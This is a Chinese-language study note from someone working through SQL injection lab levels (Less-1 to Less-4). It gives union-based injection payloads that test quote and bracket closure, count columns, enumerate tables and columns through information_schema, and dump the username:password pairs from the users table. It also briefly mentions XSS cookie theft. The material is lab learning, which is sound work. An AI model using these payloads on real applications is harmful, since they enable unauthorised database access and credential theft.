今天学习的是sql的靶场
题外话:(没必要看,仅自己记录一下)
1.XXS: 跨站脚本攻击
2.cookie & session:
通俗理解:Session 是服务器端的「用户档案袋」,里面记着用户的详细登录信息、权限等;Cookie 是浏览器端的「档案袋编号」,每次请求都带上编号,服务器根据编号找到对应的档案袋,确认用户身份。
XSS 窃取的 Cookie,核心就是这个「档案袋编号(SessionID)」------ 拿到编号,就能冒充用户从服务器调取档案袋。
Less -4 靶场(我愿称之为通用靶场):
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema='xxxxx'
猜某表的所有列
Select column_name from information_schema.columns where table_name='xxxxx'
获取某列的内容
Select *** from ****
L ess -1 :
注入核心逻辑:闭合原有引号→注释多余字符→拼接自定义 SQL→联合查询获取数据
- 注入类型判断
?id=1'
报错原因:SELECT * FROM 表名 WHERE id='1'' LIMIT 0,1; 单引号不匹配
结论:单引号字符型注入
-
?id=1' or 1=1 --+ 恒为真(为什么会造成注入:Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 'or 1=1--+,直接构造的 sql 语句就是真的)
-
判断查询字段数(order by 排序列数)
?id=1' or 1=1 order by 3 --+ order by 排序,判断列数
- 查询数据库名
?id=-1' union select 1,database(),3--+
- 查询数据库中的表名
?id=-1' union select 1,group_concat(table_name),3
from information_schema.tables
where table_schema=database()--+
关键参数:table_schema=database() 限定为当前数据库;group_concat 拼接所有表名(避免分页)
- 查询users表的所有字段名
?id=-1' union select 1,group_concat(column_name),3
from information_schema.columns
where table_schema=database() and table_name='users'--+
- 查询users表的所有账号密码(最终脱库)
?id=-1' union select 1,group_concat(username,':',password),3
from users--+
补充:
- 联合查询要求:前后查询字段数必须一致,需先用order by判断字段数
- 系统库information_schema是 SQL 注入脱库的核心,需熟记 3 个核心表:
- tables:存储所有数据库的表信息
- columns:存储所有表的字段信息
- schema_name:存储所有数据库名
L ess -2 :(数字型注入)
- 传入单引号测试:?id=1',页面报错(但报错原因和 Less-1 不同)
- 传入数字逻辑测试:?id=1 and 1=2 → 页面无数据;?id=1 and 1=1 → 页面正常
- 后续同Less-1
结论:数字型注入(后台 SQL 语句无引号包裹id参数,id直接作为数字参与查询)
Less-3 :(单引号 + 括号)
- 核心特征:单引号 + 括号双重包裹参数,注入时必须同时闭合'),少一个都会报错
- 闭合测试技巧:若单引号'报错,尝试')、")、))等组合,能让页面恢复正常的就是正确闭合方式
- 联合查询的核心流程(判字段数→控显位→查库 / 表 / 字段 / 数据)在 Less-1/2/3 中完全通用,仅闭合格式不同
- 后续同Less-1
报错信息是判断闭合方式的关键,需重点关注报错中「语法错误的位置」(如near ''1')' LIMIT 0,1'直接提示括号 + 单引号)
L ess -4:( 双引号 + 括号 )
- 先试单引号测试:?id=1' → 页面无报错(和 Less-1/3 不同,排除单引号包裹)
- 试双引号测试:?id=1" → 页面报错(关键特征)
- 测试闭合方式:?id=1") --+ → 页面恢复正常
- 后续同Less-1
结论:双引号 + 括号包裹的字符型注入(后台用("$id")包裹参数,需闭合双引号 + 括号)
总体小结:
快速判断闭合方式(通用方法)
如果不确定参数的包裹方式,按以下顺序测试,能让页面恢复正常的就是正确格式:
无引号(数字型):id=1 --+
单引号:id=1' --+
单引号 + 括号:id=1') --+
双引号:id=1" --+
双引号 + 括号:id=1") --+